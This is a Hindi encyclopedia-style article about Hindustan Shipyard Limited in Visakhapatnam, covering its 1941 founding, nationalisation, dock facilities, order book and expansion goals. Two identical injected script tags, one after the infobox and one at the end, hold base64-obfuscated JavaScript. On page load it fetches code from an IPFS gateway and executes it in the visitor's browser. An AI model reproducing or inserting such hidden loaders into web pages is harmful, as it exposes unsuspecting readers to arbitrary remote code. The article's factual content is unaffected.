हिन्दुस्तान शिपयार्ड लिमिटेड
हिन्दुस्तान शिपयार्ड लिमिटेड
| |
विवरण | 'हिन्दुस्तान शिपयार्ड लिमिटेड' विशाखापत्तनम स्थित पोत प्रांगण है। यह देश का पहला शिप निर्माण करने वाला यार्ड है। |
देश | भारत |
राज्य | आंध्र प्रदेश |
शहर | विशाखापत्तनम |
स्थापना | 21 जून, 1941 |
सेवाएँ | पोत निर्माण तथा मरम्मत |
संबंधित लेख | भारतीय नौवहन निगम, जहाज़रानी मंत्रालय, कोचीन शिपयार्ड, भारत सरकार |
अन्य जानकारी | यह 'सिधिया शिपयार्ड' नाम से सिंधिया स्टीम नेविगेशन कम्पनी द्वारा स्थापित किया गया था। इसका निर्माण वालचन्द हीराचन्द ने किया था। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
हिन्दुस्तान शिपयार्ड लिमिटेड (अंग्रेज़ी: Hindustan Shipyard Limited अथवा HSL) भारत के विशाखापत्तनम में स्थित एक पोत प्रांगण (शिपयार्ड) है। यह 'सिधिया शिपयार्ड' नाम से सिंधिया स्टीम नेविगेशन कम्पनी द्वारा स्थापित किया गया था। इसका निर्माण वालचन्द हीराचन्द ने किया था। इसकी नींव डॉ. राजेन्द्र प्रसाद ने 21 जून, 1941 को रखी थी।
स्थापना तथा कार्य
हिंदुस्तान शिपयार्ड लिमिटेड की स्थापना वर्ष 1941 में निजी क्षेत्र में हुई और 1952 में सरकार ने इसका अधिग्रहण कर लिया। 1961 में शिपयार्ड केंद्रीय सार्वजनिक क्षेत्र का उद्यम बन गया। यार्ड की जहाज़ निर्माण क्षमता 21,500 डीडब्ल्यूटी क्षमता के 3.5 पायनियर श्रेणी के जहाज़ बनाने की है। यहां अधिकतम 50,000 डीडब्ल्यूटी क्षमता के जहाज़ बनाए जा सकते हैं। इसमें जलावतरण मंच (स्लिपवेज), ढकी निर्माण गोदी, वैट बेसिन, आउटफिट जैटी आदि सुविधाएं उपलब्ध हैं। यह देश का पहला शिप निर्माण करने वाला यार्ड है, जिसे अंतर्राष्ट्रीय गुणवत्ता मानकों के लिए लंदन लॉयड्स रजिस्टर ऑफ़ क्वालिटी एश्योरेंस द्वारा आईएसओ:9001 प्रमाणपत्र प्राप्त है। इसकी जहाज़ मरम्मत गोदी में आधुनिक शुष्क गोदी, वैटबेसिन, मरम्मत कार्यशाला आदि सुविधाएं उपलब्ध हैं। यहां पर पनडुब्बियों, टैंकरों तथा 70,000 डीडब्ल्यूटी तक की क्षमता वाले जहाज़ों की मरम्मत की जा सकती है। अपतटीय प्लेटफार्म यार्ड प्रतिवर्ष दो प्लेटफार्म का निर्माण कर सकता है। आधारभूत सुविधाओं में इंजीनियरी शॉप्स, क्रेनें और लोड आउट सुविधाएं शामिल हैं।
ऑर्डर
पिछले कुछ वर्षों के दौरान एचएसएल की आर्डर बुक लगभाग 37.195 डीडब्ल्यूटी से 3,13,255 डीडब्ल्यूटी तक बढ़ गई थी। हिन्दुस्तान शिपयार्ड लिमिटेड ने निम्नलिखित ऑर्डर लिए थे-
- अंडमान और निकोबार प्रशासन के लिए 150 यात्रियों वाले दो यात्रीपोत
- विशाखापत्तनम पोर्ट ट्रस्ट (वीपीटी) के लिए एक प्रदूषण नियंत्रण पोत
- मैसर्स गुडअर्थ मारीटाइम लि. के लिए एक 30,000 डीडब्ल्यूटी बल्क कैरियर
- मैसर्स गुडअर्थ मारीटाइम लि. के लिए एक 53,000 डीडब्ल्यूटी बल्क कैरियर
- भारतीय तटरक्षक के लिए पांच इनशोर पेट्रोल वैसल (आईवीपी)
- न्यू मंगलौर पोर्ट ट्रस्ट के लिए एक 32 टन बोलार्ड पुल टग
- भारतीय नौसेना के लिए 877 ईकेएम पनडुब्बी 'आईएनएस सिंधुकृति' का आधुनिकीकरण और मरम्मत।
इन आर्डरों का वर्तमान मूल्य लगभग 1599.76 करोड़ रुपए है।
योजना तथा लक्ष्य
हिन्दुस्तान शिपयार्ड लिमिटेड की निर्माण को समेकित करने तथा चार से पांच जहाज़ प्रत्येक (21,500 डीडब्ल्यूटी) प्रतिवर्ष निर्माण उपलब्धि तथा 35-40 Mhrs/डीडब्ल्यूटी की गति से निर्माण और जहाज़ निर्माण गतिविधि में और विस्तार करने की योजना है। यार्ड की भारतीय नौसेना की पनडुब्बियों का मरम्मत कार्य जारी रखने तथा 120 से 150 करोड़ रुपए प्रतिवर्ष टर्नओवर हासिल करने का लक्ष्य है। प्रौद्योगिकी और ढांचागत सुधार के बल पर एचएसएल ग्लोबल बाज़ार में अपनी उपस्थिति बना पाएगा और एक विश्वस्तरीय शिपयार्ड बन सकेगा।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>